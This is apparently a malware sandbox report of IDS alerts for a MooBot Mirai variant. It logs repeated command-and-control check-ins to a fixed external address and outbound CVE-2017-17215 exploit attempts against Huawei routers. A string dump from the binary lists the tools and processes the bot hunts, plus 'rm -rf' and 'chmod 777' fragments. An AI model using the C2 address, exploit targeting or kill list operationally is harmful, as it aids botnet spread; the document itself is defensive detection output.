ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 198.27.92.37

Timestamp:	03/17/24-03:43:58.344253
SID:	2829579
Source Port:	54892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:30.802446
SID:	2030490
Source Port:	56940
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:17.885294
SID:	2030490
Source Port:	56920
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:37.871101
SID:	2030490
Source Port:	56962
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:44.960247
SID:	2030490
Source Port:	56980
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:46.528430
SID:	2030490
Source Port:	56984
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.49.173.209

Timestamp:	03/17/24-03:44:22.072357
SID:	2835222
Source Port:	51722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:58.538493
SID:	2030490
Source Port:	57170
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:08.256142
SID:	2030490
Source Port:	57030
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:17.196570
SID:	2030490
Source Port:	57052
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:24.997874
SID:	2030490
Source Port:	57074
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:10.078471
SID:	2030490
Source Port:	57032
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:42:57.343969
SID:	2030490
Source Port:	56868
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:17.983281
SID:	2030490
Source Port:	57054
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:32.074462
SID:	2030490
Source Port:	57096
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:56.143381
SID:	2030490
Source Port:	57010
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:45.763682
SID:	2030490
Source Port:	56982
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.87.88.166

Timestamp:	03/17/24-03:44:42.999111
SID:	2829579
Source Port:	51512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

String: _/proc/proc/%d/cmdlinerpgrepwgetcurlpsbusyboxpkillkillallftptftptop/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/run/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/h/bin/watchdog/bin/systemdbin/busyboxbin/watchdogbin/systemdbinrm -rf && mkdir ; > && mv ; chmod 777

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56862 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56864 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56866 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56868 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56870 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56872 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56874 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56876 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56878 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56880 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56882 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56884 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56886 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56888 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56890 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56892 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56894 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56896 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56898 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56900 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56902 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56904 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56906 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56908 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56910 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56912 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56914 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56916 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56918 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56920 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56922 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56924 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56926 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56928 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56930 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56932 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56934 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56936 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56938 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56940 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56942 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56944 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56946 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56948 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56950 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56952 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56954 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:42624 -> 157.119.20.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:42624 -> 157.119.20.169:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56956 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:54892 -> 198.27.92.37:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:54892 -> 198.27.92.37:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56962 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56964 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56966 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56968 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56970 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56972 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56974 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56976 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56978 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56980 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56982 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56984 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:53410 -> 147.46.253.53:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:53410 -> 147.46.253.53:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56988 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56990 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56992 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56994 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56996 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:56998 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57000 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57002 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57006 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57008 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57010 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57012 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57014 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57016 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57020 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57022 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57024 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57026 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57028 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57030 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57032 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57034 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57036 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57038 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57042 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57044 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57046 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57048 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57050 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57052 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57054 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57056 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57058 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57060 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57062 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57066 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:51722 -> 197.49.173.209:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:51722 -> 197.49.173.209:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57068 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57070 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57072 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57074 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57078 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57080 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57082 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57084 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57086 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57090 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:56806 -> 197.246.46.163:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:56806 -> 197.246.46.163:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57092 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57094 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57096 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57098 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57100 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57102 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57104 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:53444 -> 154.215.111.49:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:53444 -> 154.215.111.49:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57108 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57110 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57112 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57114 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57116 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57118 -> 103.172.79.74:43957
